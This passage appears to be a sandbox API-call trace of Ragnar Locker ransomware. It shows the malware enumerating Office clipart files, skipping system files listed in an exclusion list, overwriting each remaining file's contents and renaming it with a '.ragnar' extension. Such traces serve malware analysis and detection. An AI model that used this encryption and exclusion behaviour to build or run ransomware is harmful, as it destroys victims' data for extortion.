lpString2="SCHOL_02.MID" | out: lpString1="SCHOL_02.MID") returned="SCHOL_02.MID" [0090.515] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned=".MID" [0090.515] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="autorun.inf") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="boot.ini") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="bootfont.bin") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="bootsect.bak") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="bootmgr") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="bootmgr.efi") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="bootmgfw.efi") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="desktop.ini") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="iconcache.db") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="ntldr") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="ntuser.dat") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="ntuser.dat.log") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="ntuser.ini") returned 1 [0090.516] lstrcmpiW (lpString1="SCHOL_02.MID", lpString2="thumbs.db") returned -1 [0090.516] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0090.516] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0090.516] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0090.516] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0090.516] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0090.516] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0090.516] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0090.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0090.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.517] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5058) returned 1 [0090.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.517] GetProcessHeap () returned 0x580000 [0090.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.518] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.522] VirtualAlloc (lpAddress=0x0, dwSize=0x13c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.522] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13c2, lpOverlapped=0x0) returned 1 [0090.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.533] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.533] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13c2, lpOverlapped=0x0) returned 1 [0090.533] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.533] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.533] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.533] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.533] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.533] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.534] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.534] GetProcessHeap () returned 0x580000 [0090.534] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.534] CloseHandle (hObject=0xf4) returned 1 [0090.534] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" [0090.534] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.ragnar_FD7BD9FC" [0090.534] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.535] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0090.535] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.535] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SHOW_01.MID" | out: lpString1="SHOW_01.MID") returned="SHOW_01.MID" [0090.535] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned=".MID" [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="autorun.inf") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="boot.ini") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="bootfont.bin") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="bootsect.bak") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="bootmgr") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="bootmgr.efi") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="bootmgfw.efi") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="desktop.ini") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="iconcache.db") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="ntldr") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="ntuser.dat") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="ntuser.dat.log") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="ntuser.ini") returned 1 [0090.536] lstrcmpiW (lpString1="SHOW_01.MID", lpString2="thumbs.db") returned -1 [0090.536] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0090.536] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0090.536] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0090.536] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0090.536] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0090.536] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0090.536] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0090.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0090.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.537] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6392) returned 1 [0090.537] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.537] GetProcessHeap () returned 0x580000 [0090.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.537] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.539] VirtualAlloc (lpAddress=0x0, dwSize=0x18f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.539] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x18f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x18f8, lpOverlapped=0x0) returned 1 [0090.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.540] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.540] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x18f8, lpOverlapped=0x0) returned 1 [0090.540] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.540] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.540] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.540] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.540] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.540] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.541] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.541] GetProcessHeap () returned 0x580000 [0090.541] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.541] CloseHandle (hObject=0xf4) returned 1 [0090.541] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" [0090.541] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.ragnar_FD7BD9FC" [0090.541] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.542] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0090.542] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.542] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00256_.WMF" | out: lpString1="SL00256_.WMF") returned="SL00256_.WMF" [0090.542] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF") returned=".WMF" [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="autorun.inf") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="boot.ini") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="bootfont.bin") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="bootsect.bak") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="bootmgr") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="bootmgr.efi") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="desktop.ini") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="iconcache.db") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="ntldr") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="ntuser.dat") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="ntuser.ini") returned 1 [0090.542] lstrcmpiW (lpString1="SL00256_.WMF", lpString2="thumbs.db") returned -1 [0090.542] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.542] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.542] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.542] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.542] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.542] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.542] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf")) returned 0x20 [0090.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.543] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10762) returned 1 [0090.543] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.543] GetProcessHeap () returned 0x580000 [0090.543] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.543] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.545] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.545] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.545] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.545] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a0a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a0a, lpOverlapped=0x0) returned 1 [0090.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.546] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a0a, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.546] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a0a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a0a, lpOverlapped=0x0) returned 1 [0090.546] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.546] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.546] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.546] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.547] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.547] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.547] GetProcessHeap () returned 0x580000 [0090.547] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.547] CloseHandle (hObject=0xf4) returned 1 [0090.547] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" [0090.547] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.ragnar_FD7BD9FC" [0090.547] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.548] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0090.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.548] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00260_.WMF" | out: lpString1="SL00260_.WMF") returned="SL00260_.WMF" [0090.548] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF") returned=".WMF" [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="autorun.inf") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="boot.ini") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="bootfont.bin") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="bootsect.bak") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="bootmgr") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", 